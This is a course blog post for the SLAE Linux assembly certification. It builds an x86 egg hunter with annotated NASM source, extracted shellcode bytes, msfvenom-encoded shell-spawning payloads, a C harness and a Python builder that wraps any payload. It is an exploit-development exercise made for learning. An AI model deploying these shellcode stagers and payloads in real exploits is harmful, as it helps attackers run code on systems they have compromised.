SLAE: Egg Hunter – Assignment 3

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Study the Egg Hunter shellcode. Create a working demo of the egg hunter and make it easy configurable for different payloads.

Prestudy

The egg hunter is a piece of code that will search for an egg (a unique set of bytes) in memory and then execute a payload. This is a neat way to execute shellcode without knowing the exact address where it resides. Since this is not a post about exploitation the PoC will be a C-program that contains 2 variables with shellcode. Pretty much the hunter and the egg. There’s a pretty cool egg hunter in this paper that we’ll use. The reason is that this specific hunter will not crash if it reaches unallocated memory. It does this by first using the access syscall to validate the process-relative memory addresses. Cool!

In /usr/include/i386-linux-gnu/asm/unistd_32.h we learn that the access syscall is 33.
Syntrax: int access(const char *pathname, int mode);
The return value we need to avoid is EFAULT (0xf2), which represents: pathname points outside your accessible address space.

Nasm

Let’s type out the updated version of the PoC from the mentioned pdf.

; Filename: egghunter.nasm
; Author:  Alex
; SLAE-ID: SLAE-1046
; Reference: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
; Website:  http://0xdeadcode.se
;
; Purpose: Assignment 3 - SLAE Exam
;          Egghunter

global _start

section .text
_start:
        xor edx, edx
next_page:
        or dx, 0xfff            ; set dx to 4095
next_address:
        inc edx                 ; inc dx to 4096 (PAGE_SIZE)
        lea ebx, [edx+0x4]      ; load 0x1004 into ebx
        push byte +0x21         ; 0x21 is dec 33, the syscall for access
        pop eax                 ; put syscall value into eax
        int 0x80                ; syscall

        cmp al, 0xf2            ; check if return value is EFAULT (0xf2)
        jz next_page            ; if so, jump back to next_page label
        mov eax, 0x50905090     ; put our unique egg value in eax
        mov edi, edx
        scasd                   ; search for first part of egg
        jnz next_address
        scasd                   ; search for second part of egg
        jnz next_address
        jmp edi                 ; jump to egg payload

Like usual let’s assembly, link and then make sure there’s no null bytes in the program.

Shellcode

Sweet, everything looks good so far. Thanks to this great one-liner we can extract the shellcode and put it into a C program.

objdump -D ./egghunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"

So, the first part of creating the egg hunter is done. Now we need to generate a payload and put that along with the egg hunter in a C program. That will do as our final PoC. We’ll create a payload that will execute /bin/sh for us with msfvenom. Msfvenom will automatically fix null bytes by appending -b \x00 (bad chars to avoid). There’s a ton of different encoders but let’s just go with shikata ga nai.

msfvenom -p linux/x86/exec CMD=/bin/sh -f c --arch x86 --platform linux -b \x00 
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of c file: 319 bytes
unsigned char buf[] = 
"\xbd\xea\xfb\x87\x4a\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x0b\x31\x6a\x15\x03\x6a\x15\x83\xea\xfc\xe2\x1f\x91\x8c\x12"
"\x46\x34\xf5\xca\x55\xda\x70\xed\xcd\x33\xf0\x9a\x0d\x24\xd9"
"\x38\x64\xda\xac\x5e\x24\xca\xa7\xa0\xc8\x0a\x97\xc2\xa1\x64"
"\xc8\x71\x59\x79\x41\x25\x10\x98\xa0\x49";

Ontop of this we will need to append our egg twice (remember that the check for the egg is performed twice in the egg hunter). The final payload looks like this

unsigned char buf[] =
"\x90\x50\x90\x50\x90\x50\x90\x50" // this is our egg
"\xbd\xea\xfb\x87\x4a\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" // the exec /bin/sh payload
"\x0b\x31\x6a\x15\x03\x6a\x15\x83\xea\xfc\xe2\x1f\x91\x8c\x12"
"\x46\x34\xf5\xca\x55\xda\x70\xed\xcd\x33\xf0\x9a\x0d\x24\xd9"
"\x38\x64\xda\xac\x5e\x24\xca\xa7\xa0\xc8\x0a\x97\xc2\xa1\x64"
"\xc8\x71\x59\x79\x41\x25\x10\x98\xa0\x49";

Now, let’s put it all into a C program and try it out.

#include<stdio.h>
#include<string.h>

unsigned char hunter[] = \
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee"
"\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

unsigned char egg[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50" // this is our egg
"\xbd\xea\xfb\x87\x4a\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" // the exec /bin/sh payload
"\x0b\x31\x6a\x15\x03\x6a\x15\x83\xea\xfc\xe2\x1f\x91\x8c\x12"
"\x46\x34\xf5\xca\x55\xda\x70\xed\xcd\x33\xf0\x9a\x0d\x24\xd9"
"\x38\x64\xda\xac\x5e\x24\xca\xa7\xa0\xc8\x0a\x97\xc2\xa1\x64"
"\xc8\x71\x59\x79\x41\x25\x10\x98\xa0\x49";

main()
{
printf("Hunter Length: %d\n", strlen(hunter));
printf("Egg Length: %d\nHunting the egg...\n", strlen(egg));
int (*ret)() = (int(*)())hunter;
ret();
}

Let’s compile and execute!

gcc -fno-stack-protector -zexecstack shellcode.c -o hunter

Beautiful!

Making stuff easy

I made a python script that takes two arguments. Argument one should contain the egg inside brackets (“\x11\x22\x33\x44” for example) and the second should contain the payload in an equal way. I decide on using the egg “\x11\x22\x33\x44” and generating a new payload with msfvenom. This time I settled on executing /bin/bash.

msfvenom -p linux/x86/exec CMD=/bin/bash -f c --arch x86 --platform linux -b \x00
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
Final size of c file: 327 bytes
unsigned char buf[] = 
"\xdb\xdc\xbe\x1b\x04\x56\x33\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x0c\x31\x72\x18\x03\x72\x18\x83\xea\xe7\xe6\xa3\x59\x1c\xbf"
"\xd2\xcc\x44\x57\xc8\x93\x01\x40\x7a\x7b\x62\xe7\x7b\xeb\xab"
"\x95\x12\x85\x3a\xba\xb7\xb1\x36\x3d\x38\x42\x69\x5f\x51\x2c"
"\x5a\xfd\xc0\xc3\xcc\x01\x54\x77\x85\xe3\x97\xf7";

Great, we got our arguments. Here’s how the python script looks like.

#!/usr/bin/env python2
from sys import argv
egg = argv[1]
payload = argv[2]

if len(argv) != 3:
    print 'Usage: ./port.py "\\xDE\\xAD\\xDE\\xAD" "\\xPA\\xYL\\xOA\\xDG\\xOES\\xHE\\xRE"'
    print 'Note how the first argument is the egg and second the payload.'
    print 'Note how the egg must be a repetition of 2 bytes'
    quit()

print '\nEgg hunter builder'
print 'Egg: %s' % egg
print 'Payload: %s' % payload

code = '''
#include
#include

unsigned char hunter[] = \
"\\x31\\xd2\\x66\\x81\\xca\\xff\\x0f\\x42\\x8d\\x5a\\x04\\x6a"
"\\x21\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xee\\xb8'''

code += '%s"' % egg
code += '''
"\\x89\\xd7\\xaf\\x75\\xe9\\xaf\\x75\\xe6\\xff\\xe7";
unsigned char egg[] = \

'''

code += '"%s"\n' % egg*2
code += '"%s";\n' % payload
code += '''
main()
{
        printf("Hunter Length:  %d\\n", strlen(hunter));
        printf("Egg Length:  %d\\nHunting the egg...\\n", strlen(egg));
        int (*ret)() = (int(*)())hunter;
        ret();
}
'''

print 'Writing code to shellcode-pygen.c'
f = open('shellcode-pygen.c', 'w')
f.write(code)
f.close

Let’s execute and run!

Github Links

Shellcode.c
Shellcode-pygen.c
Egghunter.nasm
Port.py

Great success!